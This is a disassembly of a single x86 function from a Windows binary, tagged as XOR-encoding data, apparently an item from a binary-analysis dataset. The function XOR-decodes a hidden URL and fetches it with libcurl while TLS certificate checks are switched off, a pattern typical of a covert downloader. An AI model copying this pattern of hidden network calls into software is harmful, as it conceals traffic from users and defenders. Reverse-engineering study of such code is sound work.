Function at 0x40bab0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46301e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x58
push esi
push edi
mov eax, dword [0x47b040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebx + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x14], 0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.libcurl.dll_curl_easy_init]
mov esi, eax
test esi, esi
je 0x40bda2
push 0x3c
push 0xd
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push 0x45f7e0
push 0x4e2b
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push edi
push 0x2711
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push 1
push 0x34
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push 0
push 0x40
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
push 0
push 0x51
push esi
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
movups xmm0, xmmword [str.__AFD]
mov eax, dword [0x468dd8]
add esp, 0x48
mov dword [ebp - 0x48], eax
xor ecx, ecx
cmp dword [0x53d9f0], 2
mov al, byte [0x468ddc]
movups xmmword [ebp - 0x60], xmm0
mov byte [ebp - 0x44], al
movq xmm0, qword [0x468dd0]
movq qword [ebp - 0x50], xmm0
jl 0x40bcd6
movaps xmm0, xmmword [0x4751d0]
movaps xmm4, xmmword [0x4750c0]
movaps xmm3, xmmword [0x475500]
movaps xmm5, xmmword [0x475110]
movaps xmm6, xmmword [0x475170]
movaps xmmword [ebp - 0x40], xmm0
mov edx, dword [ebp - 0x40]
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x60]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x60], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x5c]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x5c], xmm2
add ecx, 8
cmp ecx, 0x18
jl 0x40bbf0
cmp ecx, 0x1d
jge 0x40bd00
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x3a
sub dl, al
add dl, 0x33
xor byte [ebp + ecx - 0x60], dl
inc ecx
cmp ecx, 0x1d
jl 0x40bcd6
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bd20
sub ecx, edx
lea eax, [ebp - 0x60]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00401b80
movups xmm0, xmmword [ebp - 0x40]
sub esp, 0x18
mov eax, esp
push 0x2712
movups xmmword [eax], xmm0
push esi
movq xmm0, qword [ebp - 0x30]
movq qword [eax + 0x10], xmm0
call dword [sym.imp.libcurl.dll_curl_easy_setopt]
mov ecx, dword [ebp - 0x2c]
add esp, 0x20
cmp ecx, 0xf
jbe 0x40bd91
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40bd87
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004617c7
add esp, 8
push esi
call dword [sym.imp.libcurl.dll_curl_easy_perform]
push esi
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4